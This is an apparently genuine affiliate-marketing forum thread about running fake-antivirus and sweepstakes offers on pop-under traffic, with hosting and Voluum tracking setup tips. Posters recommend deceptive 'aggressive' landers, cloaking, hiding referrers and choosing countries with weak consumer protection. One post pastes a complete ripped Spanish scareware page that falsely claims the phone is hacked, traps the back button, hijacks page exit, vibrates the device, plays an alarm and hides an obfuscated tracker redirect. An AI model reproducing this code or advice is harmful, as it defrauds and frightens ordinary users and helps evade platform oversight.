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Running antivirus & sweepstakes on pop (34)

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Hi everyone,

I'm wondering if its good to run sweepstakes offers and antivirus downloads simultaneously or just stick with one or the other?

I'm getting the top offers in each from my AM and I'm contemplating if I should try out both or stick with one vertical and find multiple offers of the same vertical?



Benjamin

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Hey!
Of course you can run Sweeps and AV Pins, just create a campaign for each vertical+geo+source. But I recommend to concentrate on the 1 vertical. For me the best way to run AV pins.
You have to run at least 3-5 offers together to find the best. Ask your AM about best offers for a geo+vertical. Often non-top offers converts better than top ones.

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Okay, thanks for the fast reply mrbraun!

I'll ask for multiple AV offers and go from there.



Benjamin

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antivirus and sweeps offers generally do very well on pop traffic. I'd definitely test them both and keep a close eye on your eCPM.

best is to always split test your traffic with other networks in order to optimize your eCPM and spread your financial risk - we can help you with that :-)

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If you're wanting to run AV offers, you need to know about what I said in this post:

http://stmforum.com/forum/showthread...l=1#post299442

For sweeps - there's a rough strategy at the end of this post that you can follow:

http://stmforum.com/forum/showthread...l=1#post293497

Best of luck!



Amy

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Thanks for the insights! Cbrughmans do you think I should start right away on multiple traffic sources? I'm starting out on popads.net

Amy, I'm told aggressive landers are allowed but I should try to follow the restrictions, also when I asked (since it says on the offer that an AM always needs to review lander) my AM told me she doesnt need to approve my landers before going live.


Benjamin

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Also when it comes to web hosting, will the beyond hosting starter VPS be enough for good loading speed and also easy to manage?

Does someone have any recommendations on web hosting for pops?



Benjamin

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your hosting does not matter that much if you add a cdn. make your landers full client side ( no php ) and put them on cdn.

the. you can run them from any vps

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Both can work well with pop traffic.

You can try both, but maybe over time you will find the it's good to specialise in vertical and master it.

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This is why it's a good idea to always ask your AM what the actual offer requirements are. As you've seen, many offers will list requirements in the offer description, but then when you ask your AM they'll tell you that actually, no approval is required.

When you say you should try to "follow the restrictions", what restrictions are you talking about? If your AM tells you no lander approval is required, it basically means you can run aggressive. You'll of course still have to adhere to rules at the traffic source (if you're not cloaking).



Amy

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If you want to run both:

Sweeps first lander. Backbutton Antivir.

Or first camp with higher bid sweeps. Second camp with lower bid Antivir. (on one traffic source)

Never run antivir before sweeps.

But normaly its easier to run Antivir, if you know how to cloak.

Invest 90% of your time into finding an winning Geo, Offer, Traffic Source combo. Don't get too obsessed over your creatives/lander. It has low leverage.

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Im talking about the restrictions listed in the offer description on the affiliate network. It says no misleading marketing yet its OK to run aggressive and my AM doesnt need to see my landing page.

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If they are serious about not wanting aggressive publisher they state in the terms most of the time:

- Non Payment if rules are not followed
- creative approval

If those two are not in the description, you can most of the time run aggressive (for example the landers you see on adplexity doing damage).

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Yep well some of them do state the fact that they dont have to pay for fraudulent leads. Can I get in trouble with the traffic source running aggressive if the network allows it? Im going to run on popads.

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Advertisers paste that shit on everything these days, i do not take responsibility for this but i like to test it first, then if it even converts make it compliant, most offers you test won't be winners anyway - so way less hassle for you and the AM. If you do less than 10 leads on a low payout chances are you aren't even on the advertisers radar, there is a tiny tiny tiny chance but then waht you'll get chargeback'd... $10? If you run something really "bad" hypothetically you can get sued/held liable (not 100% sure about this one...). If you hide referrer and/or cloak you're even more safe.

Pick geos with more relaxed consumer protection laws chances are you'll be ok, like you can run aggressive stuff in some geos.

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Another problem I'm running into when I'm about to start pops is the web hosting. Do I install a CDN on the VPS or is the CDN totally seperate?

Also will websites I have ripped and fixed on dreamweaver be able to run on a CDN and will they load fast enough?


Benjamin

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VPS is like a full featured server, while CDN is basically a network of mirror-servers that are located across the world. Based on the surfers location, the files are served from the location closest to him/her in order to increase the loading speed. This structure was originally developed to help with loading speed of larger files, so it didn't support any server side codes/scripts. And it's still the same, you can only host static html files with it, along with images or videos ... so it's not suitable to host LPs written in PHP for example. Plain html and javascripts will work fine.

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Thanks alot for the very quick reply matuloo! Its really appreciated.

So what do you think, should I use a CDN or a VPS when running mobile pops?

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Hey, benjamino123!
You can use VPS and connect a CDN to your VPS (I recommend CloudFlare - it's free). I do so now and it's the best way for me.

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Thanks! What VPS would you recommend?

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DigitalOcean or Hetzner.
If you have <300 000 visits per day, you can use a server with 4GB RAM.

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Vultr is also a good one.

One more tip if you are not so good with servers - you can user ServerPilot.io for managing domains/users/databases etc. with easy GUI.

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Hi everyone,

I have ripped a lander on AdPlexity for AV offer and Im wondering if this code would run smooth on a mobile device on a CDN and what exactly to look out for when looking for malicious codes and redirects etc.

Also could one seriously run into copyright trouble when ripping a lander like this? I mean since its an aggressive lander

<!DOCTYPE html><html><head>
<base href="">







<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
<title></title>
<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;">

<style>
}
body { font-family: droid; color: rgb(255, 255, 255); background: none repeat scroll 0% 0% rgb(40, 40, 40); padding-top: 5px; overflow-x: hidden; margin: 0px; }
.zz, .zz:active, .zz[selected] { font-weight: 400; font-size: 12px; border: 1px solid rgb(86, 87, 86); text-shadow: none; margin: 2px 0px; }
.zz:active, .zz[selected] { }
.zz { display: block; padding: 10px; text-align: center; text-decoration: none; width: 200px; color: rgb(255, 255, 255); border: 1px solid rgb(82, 77, 82); }

h2 { font-size: 20px; margin: 0px 0px 0px; padding: 0px 0px 0px 0px; font-weight: 400; color: rgb(255, 255, 255); text-shadow: none;}
.clear_all { clear: both; }

.outer {
display: table;
position: absolute;
height: 100%;
width: 100%;
background: none repeat scroll 0% 0% rgb(255, 255, 255);
}

.middle {
display: table-cell;
vertical-align: middle;
background: none repeat scroll 0% 0% rgb(255, 255, 255);
}

.inner {
margin-left: auto;
margin-right: auto;
background: none repeat scroll 0% 0% rgb(40, 40, 40);
max-width: 600px;
}

</style>
<script type="text/javascript">
(function(window) {
if (window.location !== window.top.location) {
window.top.location = window.location;
}
})(this);

! function () {
var t;
try {
for (t = 0; 10 > t; ++t) history.pushState({}, "", "#");
onpopstate = function (t) {
t.state && location.replace("#")
}
} catch (o) {}
}();

<!--
var sec = 59; // set the seconds
var min = 01; // set the minutes
function countDown() {
sec--;
if (sec == -01) {
sec = 59;
min = min - 01;
} else {
min = min;
}

if (sec<=9) { sec = "0" + sec; }

time = (min<=9 ? "" + min : min) + " minutos " + sec + " segundos ";

if (document.getElementById) { document.getElementById('theTime').innerHTML = time; }

SD=window.setTimeout("countDown();", 1000);
if (min == '00' && sec == '00') { sec = "00"; window.clearTimeout(SD); }
}
window.onload = countDown;
// -->

var parameters = location.href.split('?')[1];
function getURLParameter(name,defaultName) {
if(location.search.indexOf(name) == -1)
return defaultName;
var model = decodeURI(
(RegExp(name + '=' + '(.+?)(&|$)').exec(location.search)||[,null])[1] || ''
);
if(model == undefined || model == '' || (model.indexOf('Generic') + 1))
return defaultName;
return model;
}
if (window.navigator && window.navigator.vibrate) {
navigator.vibrate([50, 30, 100, 30, 100, 30, 100, 30, 100, 30, 100, 30, 100, 30, 100, 30, 100, 30, 100, 30]);
} else {
navigator.vibrate(0);
}
</script>
<script>
function isOdd(num) { return num % 2;}
history.pushState({ page: 1 }, "AD", "#i");
var ii = 0;
window.onhashchange = function (event) {
window.location.hash = "i";

ii++;
if (isOdd(ii)) { //if odd, true
alert("\n\n¡PELIGRO!\n\nSu " + (getURLParameter("model")) + " ha sido hackeado y se han encontrado 3 virus en su dispositivo!\n\nNo cierre esta página.\n\n\n¡Si no soluciona este problema en 2 minutos, los virus eliminarán todos sus contactos, sus fotos y dañarán su SIM!\n\n");
}

};

(function(){
alert("\n\n¡PELIGRO!\n\nSu " + (getURLParameter("model")) + " ha sido hackeado y se han encontrado 3 virus en su dispositivo!\n\nNo cierre esta página.\n\n\n¡Si no soluciona este problema en 2 minutos, los virus eliminarán todos sus contactos, sus fotos y dañarán su SIM!\n\n");
var count = 0;

function getURLParameter(name) {
return decodeURI(
(RegExp(name + '=' + '(.+?)(&|$)').exec(location.search)||[,null])[1] || ''
);
}

setTimeout(function() {


var _tags = ['button', 'input', 'a'], _els, _i, _i2;
for(_i in _tags) {
_els = document.getElementsByTagName(_tags[_i]);
for(_i2 in _els) {
if((_tags[_i] == 'input' && _els[_i2].type != 'button' && _els[_i2].type != 'submit' && _els[_i2].type != 'image') || _els[_i2].target == '_blank') continue;
_els[_i2].onclick = function() {window.onbeforeunload = function(){};}
}
}

window.onbeforeunload = function() {
setTimeout(function() {
window.onbeforeunload = function() {};
setTimeout(function() {
document.location.href = __redirect_to;
}, 500);
},5);
return "\n\n¡PELIGRO!\n\nSu " + (getURLParameter("model")) + " ha sido hackeado y se han encontrado 3 virus en su dispositivo!\n\nNo cierre esta página.\n\n\n¡Si no soluciona este problema en 2 minutos, los virus eliminarán todos sus contactos, sus fotos y dañarán su SIM!\n\n";
}
}, 500);

})();
</script>
<script>
window.onclick = myFunction;

// If the user clicks in the window, set the background color of <body> to yellow
function myFunction() {
document.getElementsByTagName("BODY")[0].style.backgroundColor = "yellow";
location.href = 'ht' + 'tp' + ':' + '/' + '/' + 'da' + 'hql.volu' + 'umtrk2.com/click';
}
</script>
</head>
<body>

<a class="button">

<div class="outer">
<div class="middle">
<div class="inner">

<table>
<tbody><tr>
<td><img src="z1.png" height="50px;"></td>
<td><h2 style="color:#33b5e5">¡Se han encontrado 3 virus!</h2></td>
</tr>
</tbody></table>
<hr color="#33b5e5" size="3">
<div style="color: rgb(255, 255, 255); font-size: 14px; padding:5px; font-weight: normal;">Su <script>document.write(getURLParameter("model" )</script> ha sido hackeado y se han encontrado 3 virus en su dispositivo. ¡Si no soluciona este problema en 2 minutos, los virus eliminarán todos sus contactos, sus fotos y dañarán su SIM!</div>
<center><span style="font-size: 18px; font-weight: bold; color: red; font-family: sans-serif;" id="theTime">1 minutos 43 segundos </span></center>
<div style="color: #33b5e5; font-size: 18px; padding:5px; font-weight: normal;">Cómo eliminar todos los virus:</div>
<div style="color: rgb(255, 255, 255); font-size: 14px; padding:5px; font-weight: normal;">Paso 1: Ir a la página de instalación del antivirus.</div>
<div style="color: rgb(255, 255, 255); font-size: 14px; padding:5px; font-weight: normal;">Paso 2: Siga las instrucciones e instale la aplicación (es gratis).</div>
<div style="color: rgb(255, 255, 255); font-size: 14px; padding:5px; font-weight: normal;">Paso 2: Ejecute la aplicación y elimine todos los virus.</div>
<br class="clear_all">
<table width="100%"><tbody><tr>
<td width="50%" style="color: red; border: 2px solid grey; font-weight: bold; text-align: center; font-size: 16px; line-height: 300%;">Instalar el antivirus </td>
<td width="50%" style="color: red; border: 2px solid grey; font-weight: bold; text-align: center; font-size: 16px; line-height: 300%;">Eliminar los virus</td>
</tr></tbody></table>

</div>
</div>
</div>
</a>
<a class="button" href="https://play.google.com/store/apps/details?id=com.qihoo.security&amp;ref=0349892794"> </a>
<audio class="foo" autoplay="autoplay" preload="">
<source src="http://warning.com-css.site/lp/mx3/alert.ogg" type="audio/ogg">
<source src="http://warning.com-css.site/lp/mx3/alert.mp3" type="audio/mpeg">
</audio>

</body></html>

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Hey,

just a friendly note - next time use external service like pastebin.com, gist or similar to paste code, it will be color highlighted and much better readable.

Regarding this particular code I do not see any redirects. They are mostly done by javascript or there could be an auto redirect after few seconds in the <meta> tag.

I recommend you to learn some basics of HTML/CSS/JS, so you can have better understanding of what's going on your landing pages.

Copyright trouble? Sure it can happen, but it can depends who do you making trouble and how visible are you (= bigger volume you push, bigger chance to get into trouble etc).

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Reload the page 10-20 times once you have uploaded it to your server with proxy ip to see if an redirect happens. You can try to spoof carrier IP as well. Otherwise hire an programmer and let them check it for you. If your programmer finds some redirect code let him send it to you, so you know next time what you're looking for. Most of the time its encrypted and easy to spot once you know what to search for.

Cease and desist when running logos might be the worst case what happens in reallity. Many guys running aggressive for years without any problems. if you don't want to risk it, don't run logos and brands. Most landers work without logos as well. You can split test to see if its worth the risk.

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thanks erikgyepes and sebastian_r for the responses, its really appreciated!

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Hey guys Im running into a problem when Im trying to setup my tracking pixel URL from Voluum to Advidi, when I click the test link for the postback it says 400 Bad Request

The tracking pixel on Voluum is https://ntqyj.voluumtrk.com/conversi...&txid=OPTIONAL

And I have put it up on Advidi as follows : https://ntqyj.voluumtrk.com/conversi...payout=#price#

The used on tokens ADvidi are

#leadid#
Lead ID
#affid#
Affiliate ID
#oid#
Offer ID
#campid#
Campaign ID
#cid#
Creative ID
#tid#
Transaction ID
#s1#
Sub ID 1
#s2#
Sub ID 2
#s3#
Sub ID 3
#s4#
Sub ID 4
#s5#
Sub ID 5
#price#
Payout
#udid#
UDID

Would be nice if someone could shed some light on this

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First of all - use "Postback URL" instead of "Tracking Pixel URL".

Why are you clicking on the postback link? It's not necessary to verify it by clicking - this is the link advidi's system will be triggering to post conversions back to Voluum.

The link you posted looks correct. Next, when creating an offer in Voluum, you'll need to append the token &s2={clickid} to the aff link. I like to pass trafficsource id and campaign id as well - that way if the affiliate network ever has problems with lead quality, they'd have the option of telling me which traffic source and campaign are causing the bad quality.

So if your aff link looks like this:

http://insanetrack.com/?a=123&c=12345&s1=

Then you'd want to add this link to voluum when creating the new offer:

http://insanetrack.com/?a=123&c=12345&s1={trafficsource.id}&s2={clickid}& s3={campaign.id}

Hope that's clear! If not, feel free to ask further questions.



Amy

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Oh so it is in fact ok! Thanks for clearing this up!

I'll probably have further questions later on but for now thanks alot

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What about the click URL, how do I set that up on my lander? Does it require some html code?

Click URL being the http://xxxxx.voluumtrk.com/click link on Voluum



It does register the visits when I visit the campaign URL that I have put on PopAds but no clicks

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I have now set up the Click URL on my lander on the CTA button and it works when visiting the lander on desktop and pressing CTA to the offer

but when I try to click through on my mobile it says

Error 400

Visit data was missing when handling click. To redirect a click, you must go through your campaign URL. Details: Voluumdata is missing.


Any thoughts on this?

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You have to visit the landing page through your Voluum link.
On desktop it's working because there you probably visited the lander through your Voluum link before thus the "visit data" is still saved and the redirect happens correctly.
Clear your cookies on your desktop and you will see the same that you see when you visit the site from your mobile.
Or just visit the site on your mobile through your Voluum tracking link, then it will also work on your mobile.

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Yup, this is the reason.

You must use the "campaign URL" when checking your campaigns.

If you load the LP directly and click on the voluum click-url on it, voluum doesn't know where to send that click so it returns an error message.

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That code has a "hidden" redirect .... it's the default Voluum tracking domain though so IDK. But I think Voluum might screw things up if you run traffic on one voluum alias, and clicks on the other ... I could be wrong though, I've never tried, it just sounds like something that could go wrong. It's a bit hard to read as it's posted as text, but from a quick 20s look, it also looks like it has two expressions for getting url paramteres (model, brand etc.). You often see that on ripped landers.

When ripping landers, it's highly recommended to be 10-20% fluent in JS. Not a cutting edge JS developer, but Codeacademy proficient at least. Or pay someone to clean it up.

I'd recommend that you add 3 alias domains in Voluum, and rotate through them (in case it get's flagged, or to give sites like Adplexity some "noise") and switch them out. That makes sure that the DNS has propagated, so you can switch with no downtime (just swap the domain.com part of your links). Hope that makes sense.

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